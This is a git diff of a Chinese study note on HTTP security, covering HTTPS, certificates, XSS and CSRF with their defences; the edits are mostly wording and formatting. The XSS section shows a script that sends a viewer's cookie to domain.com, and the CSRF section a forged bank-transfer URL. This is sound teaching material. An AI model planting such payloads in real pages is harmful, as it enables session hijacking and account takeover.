auto commit

notes/HTTP.md

@@ -43,7 +43,7 @@
     * [配置 HTTPs](#配置-https)
 * [七、Web 攻击技术](#七web-攻击技术)
     * [跨站脚本攻击](#跨站脚本攻击)
-    * [跨站点请求伪造](#跨站点请求伪造)
+    * [跨站请求伪造](#跨站请求伪造)
     * [SQL 注入攻击](#sql-注入攻击)
     * [拒绝服务攻击](#拒绝服务攻击)
 * [八、GET 和 POST 的区别](#八get-和-post-的区别)
@@ -653,9 +653,9 @@ HTTP/1.1 使用虚拟主机技术，使得一台服务器拥有多个域名，
 
 HTTP 有以下安全性问题：
 
-1. 使用明文进行通信，内容可能会被窃听；
-2. 不验证通信方的身份，通信方的身份有可能遭遇伪装；
-3. 无法证明报文的完整性，报文有可能遭篡改。
+- 使用明文进行通信，内容可能会被窃听；
+- 不验证通信方的身份，通信方的身份有可能遭遇伪装；
+- 无法证明报文的完整性，报文有可能遭篡改。
 
 HTTPs 并不是新协议，而是让 HTTP 先和 SSL（Secure Sockets Layer）通信，再由 SSL 和 TCP 通信。也就是说 HTTPs 使用了隧道进行通信。
 
@@ -693,7 +693,9 @@ HTTPs 采用混合的加密机制，使用公开密钥加密用于传输对称
 
 通过使用  **证书**  来对通信方进行认证。
 
-数字证书认证机构（CA，Certificate Authority）是客户端与服务器双方都可信赖的第三方机构。服务器的运营人员向 CA 提出公开密钥的申请，CA 在判明提出申请者的身份之后，会对已申请的公开密钥做数字签名，然后分配这个已签名的公开密钥，并将该公开密钥放入公开密钥证书后绑定在一起。
+数字证书认证机构（CA，Certificate Authority）是客户端与服务器双方都可信赖的第三方机构。
+
+服务器的运营人员向 CA 提出公开密钥的申请，CA 在判明提出申请者的身份之后，会对已申请的公开密钥做数字签名，然后分配这个已签名的公开密钥，并将该公开密钥放入公开密钥证书后绑定在一起。
 
 进行 HTTPs 通信时，服务器会把证书发送给客户端。客户端取得其中的公开密钥之后，先使用数字签名进行验证，如果验证通过，就可以开始通信了。
 
@@ -722,7 +724,7 @@ HTTPs 的报文摘要功能之所以安全，是因为它结合了加密和认
 
 ### 1. 概念
 
-跨站脚本攻击（Cross-Site Scripting, XSS），可以将代码注入到用户浏览的网页上，这种代码包括 HTML 和 JavaScript。利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。攻击成功后，攻击者可能得到更高的权限（如执行一些操作）、私密网页内容、会话和 Cookie 等各种内容。
+跨站脚本攻击（Cross-Site Scripting, XSS），可以将代码注入到用户浏览的网页上，这种代码包括 HTML 和 JavaScript。
 
 例如有一个论坛网站，攻击者可以在上面发布以下内容：
 
@@ -736,7 +738,7 @@ HTTPs 的报文摘要功能之所以安全，是因为它结合了加密和认
 <p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
 ```
 
-另一个用户浏览了含有这个内容的页面将会跳往 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态，那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。
+另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了当前作用域的 Cookie。如果这个论坛网站通过 Cookie 管理用户登录状态，那么攻击者就可以通过这个 Cookie 登录被攻击者的账号了。
 
 ### 2. 危害
 
@@ -746,11 +748,11 @@ HTTPs 的报文摘要功能之所以安全，是因为它结合了加密和认
 
 ### 3. 防范手段
 
-（一）设置 Cookie 为 HttpOnly
+**（一）设置 Cookie 为 HttpOnly** 
 
-设置了 HttpOnly 的 Cookie 可以防止 JavaScript 脚本调用，在一定程度上可以防止 XSS 攻击窃取用户的 Cookie 信息。
+设置了 HttpOnly 的 Cookie 可以防止 JavaScript 脚本调用，在一定程度上可以防止 XSS 窃取用户的 Cookie 信息。
 
-（二）过滤特殊字符
+**（二）过滤特殊字符** 
 
 许多语言都提供了对 HTML 的过滤：
 
@@ -761,7 +763,7 @@ HTTPs 的报文摘要功能之所以安全，是因为它结合了加密和认
 
 例如 htmlspecialchars() 可以将 `<` 转义为 `&lt;`，将 `>` 转义为 `&gt;`，从而避免 HTML 和 Jascript 代码的运行。
 
-（三）富文本编辑器的处理
+**（三）富文本编辑器的处理** 
 
 富文本编辑器允许用户输入 HTML 代码，就不能简单地将 `<` 等字符进行过滤了，极大地提高了 XSS 攻击的可能性。
 
@@ -829,13 +831,13 @@ alert(/xss/);
 &lt;/script&gt;
 ```
 
-## 跨站点请求伪造
+## 跨站请求伪造
 
 ### 1. 概念
 
-跨站点请求伪造（Cross-site request forgery，CSRF），是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作（如发邮件，发消息，甚至财产操作如转账和购买商品）。由于浏览器曾经认证过，所以被访问的网站会认为是真正的用户操作而去执行。这利用了 Web 中用户身份验证的一个漏洞：简单的身份验证只能保证请求发自某个用户的浏览器，却不能保证请求本身是用户自愿发出的。
+跨站请求伪造（Cross-site request forgery，CSRF），是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作（如发邮件，发消息，甚至财产操作如转账和购买商品）。由于浏览器曾经认证过，所以被访问的网站会认为是真正的用户操作而去执行。这利用了 Web 中用户身份验证的一个漏洞：简单的身份验证只能保证请求发自某个用户的浏览器，却不能保证请求本身是用户自愿发出的。
 
-XSS 利用的是用户对指定网站的信任，CSRF 利用的是网站对用户网页浏览器的信任。
+XSS 利用的是用户对指定网站的信任，CSRF 利用的是网站对用户浏览器的信任。
 
 假如一家银行用以执行转账操作的 URL 地址如下：
 
@@ -857,13 +859,13 @@ http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName
 
 ### 2. 防范手段
 
-（一）检查 Referer 字段
+**（一）检查 Referer 字段** 
 
-HTTP 头中有一个 Referer 字段，这个字段用以标明请求来源于哪个地址。在处理敏感数据请求时，通常来说，Referer 字段应和请求的地址位于同一域名下。
+HTTP 头中有一个 Referer 字段，这个字段用于标明请求来源于哪个地址。在处理敏感数据请求时，通常来说，Referer 字段应和请求的地址位于同一域名下。
 
 这种办法简单易行，工作量低，仅需要在关键访问处增加一步校验。但这种办法也有其局限性，因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定，但并无法保证来访的浏览器的具体实现，亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器，篡改其 Referer 字段的可能。
 
-（二）添加校验 Token
+**（二）添加校验 Token** 
 
 由于 CSRF 的本质在于攻击者欺骗用户去访问自己设置的地址，所以如果要求在访问敏感数据请求时，要求用户浏览器提供不保存在 Cookie 中，并且攻击者无法伪造的数据作为校验，那么攻击者就无法再执行 CSRF 攻击。这种数据通常是表单中的一个数据项。服务器将其生成并附加在表单中，其内容是一个伪乱数。当客户端通过表单提交请求时，这个伪乱数也一并提交上去以供校验。正常的访问时，客户端浏览器能够正确得到并传回这个伪乱数，而通过 CSRF 传来的欺骗性攻击中，攻击者无从事先得知这个伪乱数的值，服务器端就会因为校验 Token 的值为空或者错误，拒绝这个可疑请求。